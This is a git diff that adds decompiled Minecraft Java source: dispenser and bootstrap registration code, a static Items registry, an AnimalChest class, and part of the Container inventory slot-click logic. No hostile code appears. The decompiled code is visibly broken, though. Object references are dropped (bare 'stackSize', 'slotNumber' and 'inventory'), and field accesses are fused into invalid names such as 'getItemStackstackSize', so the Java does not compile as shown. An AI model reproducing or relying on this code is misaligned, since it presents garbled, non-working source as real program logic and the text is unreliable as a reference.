+            IBlockState var5 = Blocks.command_block.getDefaultState().withProperty(BlockCommandBlock.TRIGGERED_PROP, Boolean.valueOf(false));
+            var3.setBlockState(var4, var5, 3);
+            ItemBlock.setTileEntityNBT(var3, var4, stack);
+            var3.notifyNeighborsOfStateChange(source.getBlockPos(), source.getBlock());
+          }
+          
+          stackSize -= 1;
+        }
+        
+        return stack;
+      }
+      
+
+      protected void playDispenseSound(IBlockSource source) {}
+      
+      protected void spawnDispenseParticles(IBlockSource source, EnumFacing facingIn) {}
+    });
+  }
+  
+  public static void register()
+  {
+    
+    if (!alreadyRegistered)
+    {
+      alreadyRegistered = true;
+      if (LOGGER.isDebugEnabled())
+      {
+        redirectOutputToLog();
+      }
+      Block.registerBlocks();
+      BlockFire.func_149843_e();
+      Item.registerItems();
+      StatList.func_151178_a();
+      registerDispenserBehaviors();
+    }
+  }
+  
+
+
+
+  private static void redirectOutputToLog()
+  {
+    System.setErr(new LoggingPrintStream("STDERR", System.err));
+    System.setOut(new LoggingPrintStream("STDOUT", SYSOUT));
+  }
+  
+  public static void func_179870_a(String p_179870_0_)
+  {
+    SYSOUT.println(p_179870_0_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/init/Items.java b/src/minecraft/net/minecraft/init/Items.java
new file mode 100644
index 0000000..0832968
--- /dev/null
+++ b/src/minecraft/net/minecraft/init/Items.java
@@ -0,0 +1,407 @@
+package net.minecraft.init;
+
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemArmor;
+import net.minecraft.item.ItemArmorStand;
+import net.minecraft.item.ItemBow;
+import net.minecraft.item.ItemEmptyMap;
+import net.minecraft.item.ItemEnchantedBook;
+import net.minecraft.item.ItemFishingRod;
+import net.minecraft.item.ItemMap;
+import net.minecraft.item.ItemPotion;
+import net.minecraft.item.ItemShears;
+import net.minecraft.util.RegistryNamespaced;
+import net.minecraft.util.ResourceLocation;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Items
+{
+  private static Item getRegisteredItem(String p_179554_0_) { return (Item)Item.itemRegistry.getObject(new ResourceLocation(p_179554_0_)); }
+  
+  public Items() {}
+  
+  static {
+    if (!Bootstrap.isRegistered())
+    {
+      throw new RuntimeException("Accessed Items before Bootstrap!");
+    }
+  }
+  
+  public static final Item iron_shovel = getRegisteredItem("iron_shovel");
+  public static final Item iron_pickaxe = getRegisteredItem("iron_pickaxe");
+  public static final Item iron_axe = getRegisteredItem("iron_axe");
+  public static final Item flint_and_steel = getRegisteredItem("flint_and_steel");
+  public static final Item apple = getRegisteredItem("apple");
+  public static final ItemBow bow = (ItemBow)getRegisteredItem("bow");
+  public static final Item arrow = getRegisteredItem("arrow");
+  public static final Item coal = getRegisteredItem("coal");
+  public static final Item diamond = getRegisteredItem("diamond");
+  public static final Item iron_ingot = getRegisteredItem("iron_ingot");
+  public static final Item gold_ingot = getRegisteredItem("gold_ingot");
+  public static final Item iron_sword = getRegisteredItem("iron_sword");
+  public static final Item wooden_sword = getRegisteredItem("wooden_sword");
+  public static final Item wooden_shovel = getRegisteredItem("wooden_shovel");
+  public static final Item wooden_pickaxe = getRegisteredItem("wooden_pickaxe");
+  public static final Item wooden_axe = getRegisteredItem("wooden_axe");
+  public static final Item stone_sword = getRegisteredItem("stone_sword");
+  public static final Item stone_shovel = getRegisteredItem("stone_shovel");
+  public static final Item stone_pickaxe = getRegisteredItem("stone_pickaxe");
+  public static final Item stone_axe = getRegisteredItem("stone_axe");
+  public static final Item diamond_sword = getRegisteredItem("diamond_sword");
+  public static final Item diamond_shovel = getRegisteredItem("diamond_shovel");
+  public static final Item diamond_pickaxe = getRegisteredItem("diamond_pickaxe");
+  public static final Item diamond_axe = getRegisteredItem("diamond_axe");
+  public static final Item stick = getRegisteredItem("stick");
+  public static final Item bowl = getRegisteredItem("bowl");
+  public static final Item mushroom_stew = getRegisteredItem("mushroom_stew");
+  public static final Item golden_sword = getRegisteredItem("golden_sword");
+  public static final Item golden_shovel = getRegisteredItem("golden_shovel");
+  public static final Item golden_pickaxe = getRegisteredItem("golden_pickaxe");
+  public static final Item golden_axe = getRegisteredItem("golden_axe");
+  public static final Item string = getRegisteredItem("string");
+  public static final Item feather = getRegisteredItem("feather");
+  public static final Item gunpowder = getRegisteredItem("gunpowder");
+  public static final Item wooden_hoe = getRegisteredItem("wooden_hoe");
+  public static final Item stone_hoe = getRegisteredItem("stone_hoe");
+  public static final Item iron_hoe = getRegisteredItem("iron_hoe");
+  public static final Item diamond_hoe = getRegisteredItem("diamond_hoe");
+  public static final Item golden_hoe = getRegisteredItem("golden_hoe");
+  public static final Item wheat_seeds = getRegisteredItem("wheat_seeds");
+  public static final Item wheat = getRegisteredItem("wheat");
+  public static final Item bread = getRegisteredItem("bread");
+  public static final ItemArmor leather_helmet = (ItemArmor)getRegisteredItem("leather_helmet");
+  public static final ItemArmor leather_chestplate = (ItemArmor)getRegisteredItem("leather_chestplate");
+  public static final ItemArmor leather_leggings = (ItemArmor)getRegisteredItem("leather_leggings");
+  public static final ItemArmor leather_boots = (ItemArmor)getRegisteredItem("leather_boots");
+  public static final ItemArmor chainmail_helmet = (ItemArmor)getRegisteredItem("chainmail_helmet");
+  public static final ItemArmor chainmail_chestplate = (ItemArmor)getRegisteredItem("chainmail_chestplate");
+  public static final ItemArmor chainmail_leggings = (ItemArmor)getRegisteredItem("chainmail_leggings");
+  public static final ItemArmor chainmail_boots = (ItemArmor)getRegisteredItem("chainmail_boots");
+  public static final ItemArmor iron_helmet = (ItemArmor)getRegisteredItem("iron_helmet");
+  public static final ItemArmor iron_chestplate = (ItemArmor)getRegisteredItem("iron_chestplate");
+  public static final ItemArmor iron_leggings = (ItemArmor)getRegisteredItem("iron_leggings");
+  public static final ItemArmor iron_boots = (ItemArmor)getRegisteredItem("iron_boots");
+  public static final ItemArmor diamond_helmet = (ItemArmor)getRegisteredItem("diamond_helmet");
+  public static final ItemArmor diamond_chestplate = (ItemArmor)getRegisteredItem("diamond_chestplate");
+  public static final ItemArmor diamond_leggings = (ItemArmor)getRegisteredItem("diamond_leggings");
+  public static final ItemArmor diamond_boots = (ItemArmor)getRegisteredItem("diamond_boots");
+  public static final ItemArmor golden_helmet = (ItemArmor)getRegisteredItem("golden_helmet");
+  public static final ItemArmor golden_chestplate = (ItemArmor)getRegisteredItem("golden_chestplate");
+  public static final ItemArmor golden_leggings = (ItemArmor)getRegisteredItem("golden_leggings");
+  public static final ItemArmor golden_boots = (ItemArmor)getRegisteredItem("golden_boots");
+  public static final Item flint = getRegisteredItem("flint");
+  public static final Item porkchop = getRegisteredItem("porkchop");
+  public static final Item cooked_porkchop = getRegisteredItem("cooked_porkchop");
+  public static final Item painting = getRegisteredItem("painting");
+  public static final Item golden_apple = getRegisteredItem("golden_apple");
+  public static final Item sign = getRegisteredItem("sign");
+  public static final Item oak_door = getRegisteredItem("wooden_door");
+  public static final Item spruce_door = getRegisteredItem("spruce_door");
+  public static final Item birch_door = getRegisteredItem("birch_door");
+  public static final Item jungle_door = getRegisteredItem("jungle_door");
+  public static final Item acacia_door = getRegisteredItem("acacia_door");
+  public static final Item dark_oak_door = getRegisteredItem("dark_oak_door");
+  public static final Item bucket = getRegisteredItem("bucket");
+  public static final Item water_bucket = getRegisteredItem("water_bucket");
+  public static final Item lava_bucket = getRegisteredItem("lava_bucket");
+  public static final Item minecart = getRegisteredItem("minecart");
+  public static final Item saddle = getRegisteredItem("saddle");
+  public static final Item iron_door = getRegisteredItem("iron_door");
+  public static final Item redstone = getRegisteredItem("redstone");
+  public static final Item snowball = getRegisteredItem("snowball");
+  public static final Item boat = getRegisteredItem("boat");
+  public static final Item leather = getRegisteredItem("leather");
+  public static final Item milk_bucket = getRegisteredItem("milk_bucket");
+  public static final Item brick = getRegisteredItem("brick");
+  public static final Item clay_ball = getRegisteredItem("clay_ball");
+  public static final Item reeds = getRegisteredItem("reeds");
+  public static final Item paper = getRegisteredItem("paper");
+  public static final Item book = getRegisteredItem("book");
+  public static final Item slime_ball = getRegisteredItem("slime_ball");
+  public static final Item chest_minecart = getRegisteredItem("chest_minecart");
+  public static final Item furnace_minecart = getRegisteredItem("furnace_minecart");
+  public static final Item egg = getRegisteredItem("egg");
+  public static final Item compass = getRegisteredItem("compass");
+  public static final ItemFishingRod fishing_rod = (ItemFishingRod)getRegisteredItem("fishing_rod");
+  public static final Item clock = getRegisteredItem("clock");
+  public static final Item glowstone_dust = getRegisteredItem("glowstone_dust");
+  public static final Item fish = getRegisteredItem("fish");
+  public static final Item cooked_fish = getRegisteredItem("cooked_fish");
+  public static final Item dye = getRegisteredItem("dye");
+  public static final Item bone = getRegisteredItem("bone");
+  public static final Item sugar = getRegisteredItem("sugar");
+  public static final Item cake = getRegisteredItem("cake");
+  public static final Item bed = getRegisteredItem("bed");
+  public static final Item repeater = getRegisteredItem("repeater");
+  public static final Item cookie = getRegisteredItem("cookie");
+  public static final ItemMap filled_map = (ItemMap)getRegisteredItem("filled_map");
+  public static final ItemShears shears = (ItemShears)getRegisteredItem("shears");
+  public static final Item melon = getRegisteredItem("melon");
+  public static final Item pumpkin_seeds = getRegisteredItem("pumpkin_seeds");
+  public static final Item melon_seeds = getRegisteredItem("melon_seeds");
+  public static final Item beef = getRegisteredItem("beef");
+  public static final Item cooked_beef = getRegisteredItem("cooked_beef");
+  public static final Item chicken = getRegisteredItem("chicken");
+  public static final Item cooked_chicken = getRegisteredItem("cooked_chicken");
+  public static final Item mutton = getRegisteredItem("mutton");
+  public static final Item cooked_mutton = getRegisteredItem("cooked_mutton");
+  public static final Item rabbit = getRegisteredItem("rabbit");
+  public static final Item cooked_rabbit = getRegisteredItem("cooked_rabbit");
+  public static final Item rabbit_stew = getRegisteredItem("rabbit_stew");
+  public static final Item rabbit_foot = getRegisteredItem("rabbit_foot");
+  public static final Item rabbit_hide = getRegisteredItem("rabbit_hide");
+  public static final Item rotten_flesh = getRegisteredItem("rotten_flesh");
+  public static final Item ender_pearl = getRegisteredItem("ender_pearl");
+  public static final Item blaze_rod = getRegisteredItem("blaze_rod");
+  public static final Item ghast_tear = getRegisteredItem("ghast_tear");
+  public static final Item gold_nugget = getRegisteredItem("gold_nugget");
+  public static final Item nether_wart = getRegisteredItem("nether_wart");
+  public static final ItemPotion potionitem = (ItemPotion)getRegisteredItem("potion");
+  public static final Item glass_bottle = getRegisteredItem("glass_bottle");
+  public static final Item spider_eye = getRegisteredItem("spider_eye");
+  public static final Item fermented_spider_eye = getRegisteredItem("fermented_spider_eye");
+  public static final Item blaze_powder = getRegisteredItem("blaze_powder");
+  public static final Item magma_cream = getRegisteredItem("magma_cream");
+  public static final Item brewing_stand = getRegisteredItem("brewing_stand");
+  public static final Item cauldron = getRegisteredItem("cauldron");
+  public static final Item ender_eye = getRegisteredItem("ender_eye");
+  public static final Item speckled_melon = getRegisteredItem("speckled_melon");
+  public static final Item spawn_egg = getRegisteredItem("spawn_egg");
+  public static final Item experience_bottle = getRegisteredItem("experience_bottle");
+  public static final Item fire_charge = getRegisteredItem("fire_charge");
+  public static final Item writable_book = getRegisteredItem("writable_book");
+  public static final Item written_book = getRegisteredItem("written_book");
+  public static final Item emerald = getRegisteredItem("emerald");
+  public static final Item item_frame = getRegisteredItem("item_frame");
+  public static final Item flower_pot = getRegisteredItem("flower_pot");
+  public static final Item carrot = getRegisteredItem("carrot");
+  public static final Item potato = getRegisteredItem("potato");
+  public static final Item baked_potato = getRegisteredItem("baked_potato");
+  public static final Item poisonous_potato = getRegisteredItem("poisonous_potato");
+  public static final ItemEmptyMap map = (ItemEmptyMap)getRegisteredItem("map");
+  public static final Item golden_carrot = getRegisteredItem("golden_carrot");
+  public static final Item skull = getRegisteredItem("skull");
+  public static final Item carrot_on_a_stick = getRegisteredItem("carrot_on_a_stick");
+  public static final Item nether_star = getRegisteredItem("nether_star");
+  public static final Item pumpkin_pie = getRegisteredItem("pumpkin_pie");
+  public static final Item fireworks = getRegisteredItem("fireworks");
+  public static final Item firework_charge = getRegisteredItem("firework_charge");
+  public static final ItemEnchantedBook enchanted_book = (ItemEnchantedBook)getRegisteredItem("enchanted_book");
+  public static final Item comparator = getRegisteredItem("comparator");
+  public static final Item netherbrick = getRegisteredItem("netherbrick");
+  public static final Item quartz = getRegisteredItem("quartz");
+  public static final Item tnt_minecart = getRegisteredItem("tnt_minecart");
+  public static final Item hopper_minecart = getRegisteredItem("hopper_minecart");
+  public static final ItemArmorStand armor_stand = (ItemArmorStand)getRegisteredItem("armor_stand");
+  public static final Item iron_horse_armor = getRegisteredItem("iron_horse_armor");
+  public static final Item golden_horse_armor = getRegisteredItem("golden_horse_armor");
+  public static final Item diamond_horse_armor = getRegisteredItem("diamond_horse_armor");
+  public static final Item lead = getRegisteredItem("lead");
+  public static final Item name_tag = getRegisteredItem("name_tag");
+  public static final Item command_block_minecart = getRegisteredItem("command_block_minecart");
+  public static final Item record_13 = getRegisteredItem("record_13");
+  public static final Item record_cat = getRegisteredItem("record_cat");
+  public static final Item record_blocks = getRegisteredItem("record_blocks");
+  public static final Item record_chirp = getRegisteredItem("record_chirp");
+  public static final Item record_far = getRegisteredItem("record_far");
+  public static final Item record_mall = getRegisteredItem("record_mall");
+  public static final Item record_mellohi = getRegisteredItem("record_mellohi");
+  public static final Item record_stal = getRegisteredItem("record_stal");
+  public static final Item record_strad = getRegisteredItem("record_strad");
+  public static final Item record_ward = getRegisteredItem("record_ward");
+  public static final Item record_11 = getRegisteredItem("record_11");
+  public static final Item record_wait = getRegisteredItem("record_wait");
+  public static final Item prismarine_shard = getRegisteredItem("prismarine_shard");
+  public static final Item prismarine_crystals = getRegisteredItem("prismarine_crystals");
+  public static final Item banner = getRegisteredItem("banner");
+  private static final String __OBFID = "CL_00000044";
+}
diff --git a/src/minecraft/net/minecraft/inventory/AnimalChest.java b/src/minecraft/net/minecraft/inventory/AnimalChest.java
new file mode 100644
index 0000000..56895e4
--- /dev/null
+++ b/src/minecraft/net/minecraft/inventory/AnimalChest.java
@@ -0,0 +1,18 @@
+package net.minecraft.inventory;
+
+import net.minecraft.util.IChatComponent;
+
+public class AnimalChest extends InventoryBasic
+{
+  private static final String __OBFID = "CL_00001731";
+  
+  public AnimalChest(String p_i1796_1_, int p_i1796_2_)
+  {
+    super(p_i1796_1_, false, p_i1796_2_);
+  }
+  
+  public AnimalChest(IChatComponent p_i45808_1_, int p_i45808_2_)
+  {
+    super(p_i45808_1_, p_i45808_2_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/inventory/Container.java b/src/minecraft/net/minecraft/inventory/Container.java
new file mode 100644
index 0000000..3fde1ac
--- /dev/null
+++ b/src/minecraft/net/minecraft/inventory/Container.java
@@ -0,0 +1,822 @@
+package net.minecraft.inventory;
+
+import com.google.common.collect.Lists;
+import com.google.common.collect.Sets;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Set;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.entity.player.PlayerCapabilities;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.util.MathHelper;
+
+public abstract class Container
+{
+  public List<ItemStack> inventoryItemStacks = Lists.newArrayList();
+  
+
+  public List<Slot> inventorySlots = Lists.newArrayList();
+  
+
+  public int windowId;
+  
+  private short transactionID;
+  
+  private int dragMode = -1;
+  
+
+  private int dragEvent;
+  
+
+  private final Set dragSlots = Sets.newHashSet();
+  
+
+
+
+  protected List crafters = Lists.newArrayList();
+  private Set playerList = Sets.newHashSet();
+  
+  private static final String __OBFID = "CL_00001730";
+  
+  public Container() {}
+  
+  protected Slot addSlotToContainer(Slot p_75146_1_)
+  {
+    slotNumber = inventorySlots.size();
+    inventorySlots.add(p_75146_1_);
+    inventoryItemStacks.add(null);
+    return p_75146_1_;
+  }
+  
+  public void onCraftGuiOpened(ICrafting p_75132_1_)
+  {
+    if (crafters.contains(p_75132_1_))
+    {
+      throw new IllegalArgumentException("Listener already listening");
+    }
+    
+
+    crafters.add(p_75132_1_);
+    p_75132_1_.updateCraftingInventory(this, getInventory());
+    detectAndSendChanges();
+  }
+  
+
+
+
+
+  public void removeCraftingFromCrafters(ICrafting p_82847_1_)
+  {
+    crafters.remove(p_82847_1_);
+  }
+  
+
+
+
+  public List getInventory()
+  {
+    ArrayList var1 = Lists.newArrayList();
+    
+    for (int var2 = 0; var2 < inventorySlots.size(); var2++)
+    {
+      var1.add(((Slot)inventorySlots.get(var2)).getStack());
+    }
+    
+    return var1;
+  }
+  
+
+
+
+  public void detectAndSendChanges()
+  {
+    for (int var1 = 0; var1 < inventorySlots.size(); var1++)
+    {
+      ItemStack var2 = ((Slot)inventorySlots.get(var1)).getStack();
+      ItemStack var3 = (ItemStack)inventoryItemStacks.get(var1);
+      
+      if (!ItemStack.areItemStacksEqual(var3, var2))
+      {
+        var3 = var2 == null ? null : var2.copy();
+        inventoryItemStacks.set(var1, var3);
+        
+        for (int var4 = 0; var4 < crafters.size(); var4++)
+        {
+          ((ICrafting)crafters.get(var4)).sendSlotContents(this, var1, var3);
+        }
+      }
+    }
+  }
+  
+
+
+
+  public boolean enchantItem(EntityPlayer playerIn, int id)
+  {
+    return false;
+  }
+  
+  public Slot getSlotFromInventory(IInventory p_75147_1_, int p_75147_2_)
+  {
+    for (int var3 = 0; var3 < inventorySlots.size(); var3++)
+    {
+      Slot var4 = (Slot)inventorySlots.get(var3);
+      
+      if (var4.isHere(p_75147_1_, p_75147_2_))
+      {
+        return var4;
+      }
+    }
+    
+    return null;
+  }
+  
+  public Slot getSlot(int p_75139_1_)
+  {
+    return (Slot)inventorySlots.get(p_75139_1_);
+  }
+  
+
+
+
+  public ItemStack transferStackInSlot(EntityPlayer playerIn, int index)
+  {
+    Slot var3 = (Slot)inventorySlots.get(index);
+    return var3 != null ? var3.getStack() : null;
+  }
+  
+
+
+
+
+  public ItemStack slotClick(int slotId, int clickedButton, int mode, EntityPlayer playerIn)
+  {
+    ItemStack var5 = null;
+    InventoryPlayer var6 = inventory;
+    
+
+
+    if (mode == 5)
+    {
+      int var7 = dragEvent;
+      dragEvent = getDragEvent(clickedButton);
+      
+      if (((var7 != 1) || (dragEvent != 2)) && (var7 != dragEvent))
+      {
+        resetDrag();
+      }
+      else if (var6.getItemStack() == null)
+      {
+        resetDrag();
+      }
+      else if (dragEvent == 0)
+      {
+        dragMode = extractDragMode(clickedButton);
+        
+        if (func_180610_a(dragMode, playerIn))
+        {
+          dragEvent = 1;
+          dragSlots.clear();
+        }
+        else
+        {
+          resetDrag();
+        }
+      }
+      else if (dragEvent == 1)
+      {
+        Slot var8 = (Slot)inventorySlots.get(slotId);
+        
+        if ((var8 != null) && (canAddItemToSlot(var8, var6.getItemStack(), true)) && (var8.isItemValid(var6.getItemStack())) && (getItemStackstackSize > dragSlots.size()) && (canDragIntoSlot(var8)))
+        {
+          dragSlots.add(var8);
+        }
+      }
+      else if (dragEvent == 2)
+      {
+        if (!dragSlots.isEmpty())
+        {
+          ItemStack var17 = var6.getItemStack().copy();
+          int var9 = getItemStackstackSize;
+          Iterator var10 = dragSlots.iterator();
+          
+          while (var10.hasNext())
+          {
+            Slot var11 = (Slot)var10.next();
+            
+            if ((var11 != null) && (canAddItemToSlot(var11, var6.getItemStack(), true)) && (var11.isItemValid(var6.getItemStack())) && (getItemStackstackSize >= dragSlots.size()) && (canDragIntoSlot(var11)))
+            {
+              ItemStack var12 = var17.copy();
+              int var13 = var11.getHasStack() ? getStackstackSize : 0;
+              computeStackSize(dragSlots, dragMode, var12, var13);
+              
+              if (stackSize > var12.getMaxStackSize())
+              {
+                stackSize = var12.getMaxStackSize();
+              }
+              
+              if (stackSize > var11.func_178170_b(var12))
+              {
+                stackSize = var11.func_178170_b(var12);
+              }
+              
+              var9 -= stackSize - var13;
+              var11.putStack(var12);
+            }
+          }
+          
+          stackSize = var9;
+          
+          if (stackSize <= 0)
+          {
+            var17 = null;
+          }
+          
+          var6.setItemStack(var17);
+        }
+        
+        resetDrag();
+      }
+      else
+      {
+        resetDrag();
+      }
+    }
+    else if (dragEvent != 0)
+    {
+      resetDrag();
+
+
+
+
+
+
+    }
+    else if (((mode == 0) || (mode == 1)) && ((clickedButton == 0) || (clickedButton == 1)))
+    {
+      if (slotId == 64537)
+      {
+        if (var6.getItemStack() != null)
+        {
+          if (clickedButton == 0)
+          {
+            playerIn.dropPlayerItemWithRandomChoice(var6.getItemStack(), true);
+            var6.setItemStack(null);
+          }
+          
+          if (clickedButton == 1)
+          {
+            playerIn.dropPlayerItemWithRandomChoice(var6.getItemStack().splitStack(1), true);
+            
+            if (getItemStackstackSize == 0)
+            {
+              var6.setItemStack(null);
+            }
+          }
+        }
+      }
+      else if (mode == 1)
+      {
+        if (slotId < 0)
+        {
+          return null;
+        }
+        
+        Slot var16 = (Slot)inventorySlots.get(slotId);
+        
+        if ((var16 != null) && (var16.canTakeStack(playerIn)))
+        {
+          ItemStack var17 = transferStackInSlot(playerIn, slotId);
+          
+          if (var17 != null)
+          {
+            Item var19 = var17.getItem();
+            var5 = var17.copy();
+            
+            if ((var16.getStack() != null) && (var16.getStack().getItem() == var19))
+            {
+              retrySlotClick(slotId, clickedButton, true, playerIn);
+            }
+          }
+        }
+      }
+      else
+      {
+        if (slotId < 0)
+        {
+          return null;
+        }
+        
+        Slot var16 = (Slot)inventorySlots.get(slotId);
+        
+        if (var16 != null)
+        {
+          ItemStack var17 = var16.getStack();
+          ItemStack var20 = var6.getItemStack();
+          
+          if (var17 != null)
+          {
+            var5 = var17.copy();
+          }
+          
+          if (var17 == null)
+          {
+            if ((var20 != null) && (var16.isItemValid(var20)))
+            {
+              int var21 = clickedButton == 0 ? stackSize : 1;
+              
+              if (var21 > var16.func_178170_b(var20))
+              {
+                var21 = var16.func_178170_b(var20);
+              }
+              
+              if (stackSize >= var21)
+              {
+                var16.putStack(var20.splitStack(var21));
+              }
+              
+              if (stackSize == 0)
+              {
+                var6.setItemStack(null);
+              }
+            }
+          }
+          else if (var16.canTakeStack(playerIn))
+          {
+            if (var20 == null)
+            {
+              int var21 = clickedButton == 0 ? stackSize : (stackSize + 1) / 2;
+              ItemStack var23 = var16.decrStackSize(var21);
+              var6.setItemStack(var23);
+              
+              if (stackSize == 0)
+              {
+                var16.putStack(null);
+              }
+              
+              var16.onPickupFromSlot(playerIn, var6.getItemStack());
+            }
+            else if (var16.isItemValid(var20))
+            {
+              if ((var17.getItem() == var20.getItem()) && (var17.getMetadata() == var20.getMetadata()) && (ItemStack.areItemStackTagsEqual(var17, var20)))
+              {
+                int var21 = clickedButton == 0 ? stackSize : 1;
+                
+                if (var21 > var16.func_178170_b(var20) - stackSize)
+                {
+                  var21 = var16.func_178170_b(var20) - stackSize;
+                }
+                
+                if (var21 > var20.getMaxStackSize() - stackSize)
+                {
+                  var21 = var20.getMaxStackSize() - stackSize;
+                }
+                
+                var20.splitStack(var21);
+                
+                if (stackSize == 0)
+                {
+                  var6.setItemStack(null);
+                }
+                
+                stackSize += var21;
+              }
+              else if (stackSize <= var16.func_178170_b(var20))
+              {
+                var16.putStack(var20);
+                var6.setItemStack(var17);
+              }
+            }
+            else if ((var17.getItem() == var20.getItem()) && (var20.getMaxStackSize() > 1) && ((!var17.getHasSubtypes()) || (var17.getMetadata() == var20.getMetadata())) && (ItemStack.areItemStackTagsEqual(var17, var20)))
+            {
+              int var21 = stackSize;
+              
+              if ((var21 > 0) && (var21 + stackSize <= var20.getMaxStackSize()))
+              {
+                stackSize += var21;
+                var17 = var16.decrStackSize(var21);
+                
+                if (stackSize == 0)
+                {
+                  var16.putStack(null);
+                }
+                
+                var16.onPickupFromSlot(playerIn, var6.getItemStack());
+              }
+            }
+          }
+          
+          var16.onSlotChanged();
+        }
+      }
+    }
+    else if ((mode == 2) && (clickedButton >= 0) && (clickedButton < 9))
+    {
+      Slot var16 = (Slot)inventorySlots.get(slotId);
+      
+      if (var16.canTakeStack(playerIn))
+      {
+        ItemStack var17 = var6.getStackInSlot(clickedButton);
+        boolean var18 = (var17 == null) || ((inventory == var6) && (var16.isItemValid(var17)));
+        int var21 = -1;
+        
+        if (!var18)
+        {
+          var21 = var6.getFirstEmptyStack();
+          var18 |= var21 > -1;
+        }
+        
+        if ((var16.getHasStack()) && (var18))
+        {
+          ItemStack var23 = var16.getStack();
+          var6.setInventorySlotContents(clickedButton, var23.copy());
+          
+          if (((inventory != var6) || (!var16.isItemValid(var17))) && (var17 != null))
+          {
+            if (var21 > -1)
+            {
+              var6.addItemStackToInventory(var17);
+              var16.decrStackSize(stackSize);
+              var16.putStack(null);
+              var16.onPickupFromSlot(playerIn, var23);
+            }
+          }
+          else
+          {
+            var16.decrStackSize(stackSize);
+            var16.putStack(var17);
+            var16.onPickupFromSlot(playerIn, var23);
+          }
+        }
+        else if ((!var16.getHasStack()) && (var17 != null) && (var16.isItemValid(var17)))
+        {
+          var6.setInventorySlotContents(clickedButton, null);
+          var16.putStack(var17);
+        }
+      }
+    }
+    else if ((mode == 3) && (capabilities.isCreativeMode) && (var6.getItemStack() == null) && (slotId >= 0))
+    {
+      Slot var16 = (Slot)inventorySlots.get(slotId);
+      
+      if ((var16 != null) && (var16.getHasStack()))
+      {
+        ItemStack var17 = var16.getStack().copy();
+        stackSize = var17.getMaxStackSize();
+        var6.setItemStack(var17);
+      }
+    }
+    else if ((mode == 4) && (var6.getItemStack() == null) && (slotId >= 0))
+    {
+      Slot var16 = (Slot)inventorySlots.get(slotId);
+      
+      if ((var16 != null) && (var16.getHasStack()) && (var16.canTakeStack(playerIn)))
+      {
+        ItemStack var17 = var16.decrStackSize(clickedButton == 0 ? 1 : getStackstackSize);
+        var16.onPickupFromSlot(playerIn, var17);
+        playerIn.dropPlayerItemWithRandomChoice(var17, true);
+      }
+    }
+    else if ((mode == 6) && (slotId >= 0))
+    {
+      Slot var16 = (Slot)inventorySlots.get(slotId);
+      ItemStack var17 = var6.getItemStack();
+      
+      if ((var17 != null) && ((var16 == null) || (!var16.getHasStack()) || (!var16.canTakeStack(playerIn))))
+      {
+        int var9 = clickedButton == 0 ? 0 : inventorySlots.size() - 1;
+        int var21 = clickedButton == 0 ? 1 : -1;
+        
+        for (int var22 = 0; var22 < 2; var22++)
+        {
+          for (int var24 = var9; (var24 >= 0) && (var24 < inventorySlots.size()) && (stackSize < var17.getMaxStackSize()); var24 += var21)
+          {
+            Slot var25 = (Slot)inventorySlots.get(var24);
+            
+            if ((var25.getHasStack()) && (canAddItemToSlot(var25, var17, true)) && (var25.canTakeStack(playerIn)) && (func_94530_a(var17, var25)) && ((var22 != 0) || (getStackstackSize != var25.getStack().getMaxStackSize())))
+            {
+              int var14 = Math.min(var17.getMaxStackSize() - stackSize, getStackstackSize);
+              ItemStack var15 = var25.decrStackSize(var14);
+              stackSize += var14;
+              
+              if (stackSize <= 0)
+              {
+                var25.putStack(null);
+              }
+              
+              var25.onPickupFromSlot(playerIn, var15);
+            }
+          }
+        }
+      }
+      
+      detectAndSendChanges();
+    }
+    
+
+    return var5;
+  }
+  
+  public boolean func_94530_a(ItemStack p_94530_1_, Slot p_94530_2_)
+  {
+    return true;
+  }
+  
+  protected void retrySlotClick(int p_75133_1_, int p_75133_2_, boolean p_75133_3_, EntityPlayer p_75133_4_)
+  {
+    slotClick(p_75133_1_, p_75133_2_, 1, p_75133_4_);
+  }
+  
+
+
+
+  public void onContainerClosed(EntityPlayer p_75134_1_)
+  {
+    InventoryPlayer var2 = inventory;
+    
+    if (var2.getItemStack() != null)
+    {
+      p_75134_1_.dropPlayerItemWithRandomChoice(var2.getItemStack(), false);
+      var2.setItemStack(null);
+    }
+  }
+  
+
+
+
+  public void onCraftMatrixChanged(IInventory p_75130_1_)
+  {
+    detectAndSendChanges();
+  }
+  
+
+
+
+  public void putStackInSlot(int p_75141_1_, ItemStack p_75141_2_)
+  {
+    getSlot(p_75141_1_).putStack(p_75141_2_);
+  }
+  
+
+
+
+  public void putStacksInSlots(ItemStack[] p_75131_1_)
+  {
+    for (int var2 = 0; var2 < p_75131_1_.length; var2++)
+    {
+      getSlot(var2).putStack(p_75131_1_[var2]);
+    }
+  }
+  
+
+
+  public void updateProgressBar(int p_75137_1_, int p_75137_2_) {}
+  
+
+  public short getNextTransactionID(InventoryPlayer p_75136_1_)
+  {
+    transactionID = ((short)(transactionID + 1));
+    return transactionID;
+  }
+  
+
+
+
+  public boolean getCanCraft(EntityPlayer p_75129_1_)
+  {
+    return !playerList.contains(p_75129_1_);
+  }
+  
+
+
+
+  public void setCanCraft(EntityPlayer p_75128_1_, boolean p_75128_2_)
+  {
+    if (p_75128_2_)
+    {
+      playerList.remove(p_75128_1_);
+    }
+    else
+    {
+      playerList.add(p_75128_1_);
+    }
+  }
+  
+
+
+
+  public abstract boolean canInteractWith(EntityPlayer paramEntityPlayer);
+  
+
+
+  protected boolean mergeItemStack(ItemStack stack, int startIndex, int endIndex, boolean useEndIndex)
+  {
+    boolean var5 = false;
